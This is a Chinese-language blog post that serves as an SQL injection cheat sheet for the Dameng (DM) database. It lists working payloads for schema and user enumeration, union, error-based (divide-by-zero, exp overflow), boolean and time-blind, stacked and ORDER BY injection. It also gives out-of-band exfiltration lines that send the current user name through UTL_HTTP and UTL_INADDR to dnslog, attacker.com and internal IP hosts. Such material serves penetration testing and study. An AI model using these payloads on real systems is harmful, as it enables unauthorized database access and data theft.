Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >记一次达梦数据库DMSQL-SQL注入小记

记一次达梦数据库DMSQL-SQL注入小记

原创
作者头像
亿人安全
发布于 2024-12-19 05:09:55
发布于 2024-12-19 05:09:55
45802
代码可运行
举报
文章被收录于专栏:红蓝对抗红蓝对抗
运行总次数:2
代码可运行

原文首发在:先知社区

https://xz.aliyun.com/t/16721

目前国产化越来越普及,平时遇到的达梦数据库也越来越多,因此决定进行下总结。由于本人能力有限,如果文章中有纰漏欢迎指正,也欢迎大家进行交流。

官方存在达梦线上实验室,可以在线试用达梦数据库,免注册,省去了自己下载安装的时间。 https://eco.dameng.com/tour/

0x01 判断DMSQL

常见的判断方法如下:

报错语句:

  • dm.jabc.driver.DMException
  • 无 updatexml 等方法,

0x02 基础语法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select user         -- 返回当前用户,默认是SYSDBA
select user()       -- 同上
select cur_database     -- 返回当前库名,默认是DAMENG
select cur_database()   -- 同上
select  1                       -- select语句后面可以不跟表名,存在默认表dual,可以接from dual
select 1 from dual where 1=1 && 1=1     -- &&可以代替and,但||不能代替or

2.1 注释

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT 1; -- 单行注释
select 1/*aaa*/from dual    -- 支持/**/多行注释

不支持 # 单行注释 和/*! */内联注释

2.2 常用运算符

DMSQL程序数据库类型与操作符

常用运算符差异不大,&& 同 AND,但 || 无法代替 OR。

0x03 函数特性

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
md5(1)                          -- 返回 0xC4CA4238A0B923820DCC509A6F75849B,返回对应MD5值,前面加了0x
exp(if(1=1,710,1))
exp(710)                -- 返回整数溢出错误,使用这种方式可以强制BOOL盲注

3.1 进制转换

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ASCII(str)          返回字符串第一个字符的ASCII, ASCII('a') = 97
char(num)               返回参数num对应的ASCII字符,
chr(num)                同上,CHR(97) = a
HEX(str)                返回16进制字符串形式, hex(12) = 3132
UNHEX(str)          返回对应的字符串,unhex(3132) = 12

3.2 字符串截取

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
substring('1234',2,1)           -- 同substr函数
substr('1234',2,1)              -- 返回2,第二个参数从第几位开始取值,第三个参数代表截图多少位
-- 多种格式 SUBSTR(str,pos)SUBSTR(str FROM pos)SUBSTR(str,pos,len)SUBSTR(str FROM pos FOR len),substr('1234' from 2 for 1) = 2

left('123456', 3)                   -- 返回123,第二个参数代表返回左边几位的字符
right('123456', 3)              -- 返回456,第二个参数代表返回右边几位的字符

3.3 字符串拼接

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
||                                                              -- 将左右两侧字符串进行连接
CONCAT(str1,str2...)                                    -- 将多个字符串合并为一个字符串
CONCAT_WS(separator,str1,str2...)               -- 通过分隔符separator将字符串连接在一起
WM_CONCAT(column_name)                          -- 类似 GROUP_CONCAT(...),将某一列中的多个字符串按照一定顺序拼接成一个大的字符串,通常用于分组后的字符串拼接
LISTAGG(column_name, separator)                 --WM_CONCAT 类似,也是用于将分组后的列值进行拼接,并且提供了更多的控制选项,如指定分隔符等。

3.4 其他

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
LENGTH(str)     -- 返回字符串的长度
len(str)            -- 返回字符串的长度
LOWER(str)      -- 将字符串字母全部转成小写。同:LCASE(str)UPPER(str)      -- 将字符串字母全部转成大写。同:UCASE(str)TO_CHAR(date/time_value, 'format')      -- 将日期、时间、数字等类型的数据转换为字符类型
TO_NUMBER(char_value, 'format')          -- 将字符类型的数据转换为数字类型
TO_DATE(char_value, 'format')                -- 将字符类型的数据转换为日期类型。

0x04 SQLi 获取数据

注入方式整体上和Oracle差不多,但是还是有一些区别。

注入语句:

4.1 基本信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-- 查看数据库版本
SELECT banner FROM v$version;           -- 注意:返回是多行
SELECT banner FROM v$version limit 0,1;
SELECT WM_CONCAT(banner) FROM v$version     -- 在一行中显示
SELECT LISTAGG(banner, ', ') FROM v$version;    -- 在一行中显示,高版本可用
-- 获取当前用户、当前数据库
select user
select user()
SELECT user FROM DUAL;
select cur_database
-- 获取所有用户名
select USERNAME from SYS.ALL_USERS
select WM_CONCAT(USERNAME) from SYS.ALL_USERS

4.2 查询全局变量

需要当前用户具备查询权限

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT NAME, TYPE, VALUE FROM V$PARAMETER;
  • NAME列显示系统参数的名称,如BUFFER_POOL_SIZE(缓冲池大小)等,这些参数名称用于标识不同的数据库配置项。 
  • TYPE列表示参数的类型,例如INT(整数类型)、STRING(字符串类型)等,这有助于了解参数值的数据格式。 
  • VALUE列则是对应的参数实际的值,例如对于BUFFER_POOL_SIZE参数,VALUE列可能显示一个表示大小的数字(单位可能根据参数定义而不同)。 

常见有用的全局变量如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
NAME                                    VALUE
SYSTEM_PATH             /home/dmdba/data/DAMENG
CONFIG_PATH             /home/dmdba/data/DAMENG
TEMP_PATH                   /home/dmdba/data/DAMENG
BAK_PATH                    /home/dmdba/data/DAMENG/bak
DFS_PATH                    $/DAMENG
INSTANCE_NAME           DMSERVER
INSTANCE_ADDR
PORT_NUM                    5236
SVR_LOG_NAME            SLOG_ALL
TRACE_PATH              /home/dmdba/data/DAMENG/trace
BCT_PATH                    /home/dmdba/data/DAMENG

如果只想查询特定的全局变量,可以在查询语句中添加筛选条件。 查询语句:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT VALUE FROM V$PARAMETER WHERE NAME = 'SYSTEM_PATH';
SELECT NAME, VALUE FROM V$PARAMETER WHERE name LIKE '%INSTANCE%'

4.3 查询系统表

1) 查询库名

SYS.SYSOBJECTS表中保存全部的库名信息。 查询所有的库名和对应ID

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCH'
2) 查询表名

SYS.SYSOBJECTS 表中同时保存全部的表名信息。 查询所有的表名。其中SCHID来自步骤1)中获得的ID

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCHOBJ' and SUBTYPE$='UTAB' and SCHID=150995949
3) 查询列名

SYS.SYSCOLUMNS 表中字段名称和字段类型。 查询所有表对应的列名。其中ID为步骤2)中获取的ID

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select NAME,TYPE$,DEFVAL from SYS.SYSCOLUMNS where ID=1078

4.4 查询视图

1) 查询用户

查询全部数据库的用户名

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select USERNAME from SYS.ALL_USERS
2) 查询库名

查询全部库名,其中 OWNER 是步骤1)对应的数据库用户名。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='SYSDBA' and OBJECT_TYPE='SCH'
3) 查询表名

查询全部表名, OWNER 是步骤2)对应的库名。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='OTHER' and OBJECT_TYPE='TABLE'
4) 查询列名

可以使用下面的方式返回指定条件对应的列名,其中SCHEMA_NAME代表库名,TABLE_NAME代表表名。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select OWNER,TABLE_NAME,SCHEMA_NAME,COLUMN_NAME from SYS.ALL_COL_COMMENTS where SCHEMA_NAME='OTHER' and TABLE_NAME='xxxxxx'

0x05 联合查询注入

Union 注入与常规的没什么区别

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
order by num
 union select 1,2,3...          -- 注意列数和类型要相同

0x06 报错注入

常规的报错函数都不太行,无法直接获取结果。主要利用的是 除0错误、溢出错误,结合布尔注入进行。

6.1 除0错误

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select 1 from dual where 1=1/0

结合布尔注入进行探测

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=1/if(len(user)=6,1,0) ORDER BY id DESC;

6.2 溢出错误

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select exp(710)
select exp(if(1=1,710,1))           -- 数据溢出
select exp(if(len(user)=6,710,1))

SELECT *  FROM t1 where rownum<5 AND 1=exp(if(len(user)=6,710,0)) ORDER BY id DESC;
SELECT *  FROM t1 where rownum<5 ORDER BY id,exp(if(len(user)=6,711,0)) DESC;
SELECT *  FROM t1 where rownum<5 ORDER BY id DESC, exp(if(len(user)=6,710,0));

0x07 布尔盲注

布尔盲注语法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if(expr,参数1,参数2) -- expr成立时,返回参数1的值;不成立时,返回参数2的值
CASE WHEN exp THEN state1 ELSE state2 END       --IF
DECODE(expr, search1, result1 [, search2, result2,...][, default_result])  -- 类似 switch case, 如果 expr=search1,则返回 result1,否则返回default_result
IFNULL(expr1,expr2)                 -- 如果 expr1 不为 NULL,则返回 expr1,否则返回 expr2
NULLIF(expr1,expr2)                 -- 若expr1与expr2不同,则返回expr1,否则返回NULL

if(1=ascii(substr('123456',2,1)),2, 1)      -- 综合使用,盲注必备
CASE WHEN len(user)=6 THEN 1 ELSE 0 END
DECODE(len(user),6,1,0)                         -- 判断len(user)=6是否成立,成立返回1,否则返回0

案例:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=if(len(user)=6,1,0) ORDER BY id DESC;
SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=(case when len(user)=4 then 1 else 0 end) ORDER BY id DESC;
SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=decode(len(user),6 ,1,0) ORDER BY id DESC;
SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=IFNULL(len(user)=6,0) ORDER BY id DESC;
SELECT *  FROM t1 where rownum<5 AND 1=1 AND 1=NULLIF(len(user)=6,0) ORDER BY id DESC;

0x08 时间盲注

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sleep(n)                -- 休眠n秒,不能和select 一起用,语法错误,失去价值
exec  sleep 5       -- 延时5s
dbms_pipe.receive_message(('a'),2)              -- 可以延时

SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;      -- 如果反查很慢,可能可以
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual;      -- 如果正查很慢
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;         -- 如果发送TCP包被拦截或者很慢

实际过程中时间盲注很难起到作用。测试发现,结合布尔判断时,无论True/False,都会造成延时。

0x09 DNS外带注入

需要用户可访问网络的权限

如果数据长度太长,如数据库版本,可能会导致出错,这时候要使用带外,就可以使用substr()函数来截取字符串,每次取几个特定的字符即可

发送DNS请求,DNS外带

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT UTL_INADDR.get_host_address('google.com') FROM dual;   -- priv
SELECT UTL_INADDR.get_host_address((select user)||'.xxx.dnslog');

SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://xxx.dnslog?'||(select user)) from dual;
select utl_http.request('http://192.168.0.100:8888/?'||(select user)) from dual;

0x0A 堆叠注入

在靶场中没成功,提示表不存在,但是在实战中成功过。

10.1 结合DNS外带

结合DNS外带注入,成功获取到数据。

图片
图片
图片
图片

10.2 结合除0报错

图片
图片
图片
图片

0x0B order by 位置注入

11.1 位运算符

主要使用^亦或运算,其他也可

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ORDER BY id^(if(1=2,1,2)
ORDER BY id^(if(len(user)=6,1,2))
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT * FROM t1 where rownum<5 ORDER BY id^(if(1=2,1,2)) DESC;
SELECT * FROM t1 where rownum<5 ORDER BY id^(if(len(user)=6,1,2)) DESC;
SELECT * FROM t1 where rownum<5 ORDER BY id&(if(len(user)=6,1,2)) DESC;
SELECT * FROM t1 where rownum<5 ORDER BY id|(if(len(user)=6,1,2)) DESC;

11.2 union

利用条件比较苛刻,需要整条语句在括号中,且前后字段数量一致

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(SELECT * FROM t1 where rownum<5 ORDER BY id) union (select 1,2,user);
(SELECT * FROM t1 where rownum<5 ORDER BY id,null) union (select 1,2,user);

11.3 转化成Where

将其转化为 where 后的注入点

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT * FROM xxxx WHERE is_delete != '1' ORDER BY id limit 0,20

SELECT * FROM xxxx WHERE is_delete != '1' ORDER BY (select 1 from dual where 1=1/(case when len(user)=6 then 1 else 0 end)) LIMIT 0,20

0x0C limit 注入

可以接 堆叠注入

END 参考文章

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
干货 | Oracle数据库注入方式总结
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。
HACK学习
2022/02/17
6.2K0
干货 | Oracle数据库注入方式总结
SQL注入详解
SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。
飞天小子
2018/08/31
2.9K0
SQL注入详解
Oracle注入
Step 1:准备oracle安装包,解压缩。本次安装的是Oracle Database 11g Release 2 (11.2),官方下载地址:
安全小王子
2020/07/31
2.1K0
Oracle注入
SQL注入速查笔记
load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径
Bypass
2020/11/04
6980
sql注入技术大总结
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()# 从所有的表里边找到这个库名里不重复的表名
黑战士
2024/04/13
3120
数据库的一些注入技巧-Oracle
SELECT * FROM Users WHERE username = '' OR1=1 --' AND password = '';
Jumbo
2019/11/14
7920
少年,这是我特意为你酿制的Oracle 注入,干了吧!
最近遇到Oracle注入的测试越来越多,而且互联网上oracle注入的总结较为少见,为了能够快速的进行漏洞测试和挖掘,诞生了想要把之前学习的Oracle注入方式进行温习和总结的想法,便写下这一篇关于Oracle注入的总结,本文参考了Oracle官网,互联网上各个前辈的博客以及各大paper。期待和师傅,前辈们的讨论和交流。 本文中的user 的值是SQLINJECTION。 基础知识: 1. Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用
漏斗社区
2018/03/28
1.2K0
少年,这是我特意为你酿制的Oracle 注入,干了吧!
回归朴素、oracle注入
Oracle和MySQL数据库语法大致相同,结构不太相同,对于“数据库”这个概念而言,Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP。
字节脉搏实验室
2020/11/06
9300
回归朴素、oracle注入
数据库DNSLog外带注入-总结
当我们对一个数据库进行注入时,无回显,且无法进行时间注入,那么就可以利用一个通道,把查询到数据通过通道带出去,这里的通道包括:http请求、DNS解析、SMB服务等将数据带出。
Gamma实验室
2020/12/23
3.9K0
数据库DNSLog外带注入-总结
SQL手注小记
一大早看见一个公众号的推文,SQL手注总结的不错,抄过来记录一下,以后遇到直接来取了直接用了
故里[TRUE]
2023/08/24
6170
oracle的操作
在为一个Oracle数据库系统创建用户之后,这些用户既不能与数据库服务器连接,也不能做任何事情,除非他们具有执行特定数据库操作的权限. oracle内置权限:(SELECT * FROM SYSTEM_PRIVILEGE_MAP查);
微醺
2019/01/17
1.7K0
SQL注入绕过的简单总结
SUBSTR(str,start,len) 返回start开始,长度为len的字符串。注意:字符串起始位置为1。
pankas
2022/08/10
2K0
SQL注入常用函数和关键字总结
这个函数很常用,有三个参数,按顺序分别是字符串,起始位置和长度。可以求指定字符串的子串。当然,第一个参数可以是列的名字。这个函数似乎和mid没有什么不同,如果mid或者substr中的某一个函数被禁了就用另一个。
KevinBruce
2020/08/11
3K0
Oracle 函数大全[通俗易懂]
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/154754.html原文链接:https://javaforall.cn
全栈程序员站长
2022/09/07
3K0
Oracle 函数大全[通俗易懂]
SQL注入类型危害及防御
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
全栈工程师修炼指南
2020/10/23
3K0
SQL注入类型危害及防御
Mysql注入的新大陆
Mysql注入的新大陆 经过昨天寻找information_schema的替代表之后我又去翻了一遍Mysql的内置函数,也还是有不少新发现的,另外再简单写了一下之前早就有的一个想法,使用字符串的匹配函数+替换函数绕过常用的Mysql注入函数WAF去匹配字符串,现在看来理论上是可行的,但是没动手写代码测试,因为,,,,太懒了不想动手 🙂 :dog: 奇思妙想 使用函数 INSERT(s1,x,len,s2) 字符串 s2 替换 s1 的 x 位置开始长度为 len 的字符串 INSTR(str,str1
h0cksr
2023/05/17
2830
最全的MySQL数据库函数:字符串函数、时间日期函数、数值函数详解
更多精彩请访问本文源地址: https://blog.csdn.net/zixiao217 case 函数主要在sql中实现类似于java语言的分支语句的功能。case结合when语句可以灵活的根据字段的所属条件展示不同的内容。
青山师
2023/05/05
8390
Oracle DBA的SQL编写技能提升宝典(含SQL资源)
背景:要迁移数据库,需要创建与源库相同的表空间,大小与源库相同。由于个别表空间较大,手工添加可能需要写很多的脚本,于是同事通过PL/SQL解决了问题。
数据和云
2021/10/13
1.2K0
Oracle DBA的SQL编写技能提升宝典(含SQL资源)
自学sql注入(三)
这是笔者自行整理出来的有关sql注入的一些知识点,自己还有些迷迷糊糊,可能有些不对的地方。等学完之后,再来详写一系列的关于sql注入的文章
宸寰客
2020/07/14
5940
Oracle到高斯数据库的SQL语法迁移手册(建议收藏)
异构数据库的迁移(譬如从Oracle迁移到openGauss)工作主要包括三个方面,
PawSQL
2024/08/20
7420
Oracle到高斯数据库的SQL语法迁移手册(建议收藏)
相关推荐
干货 | Oracle数据库注入方式总结
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验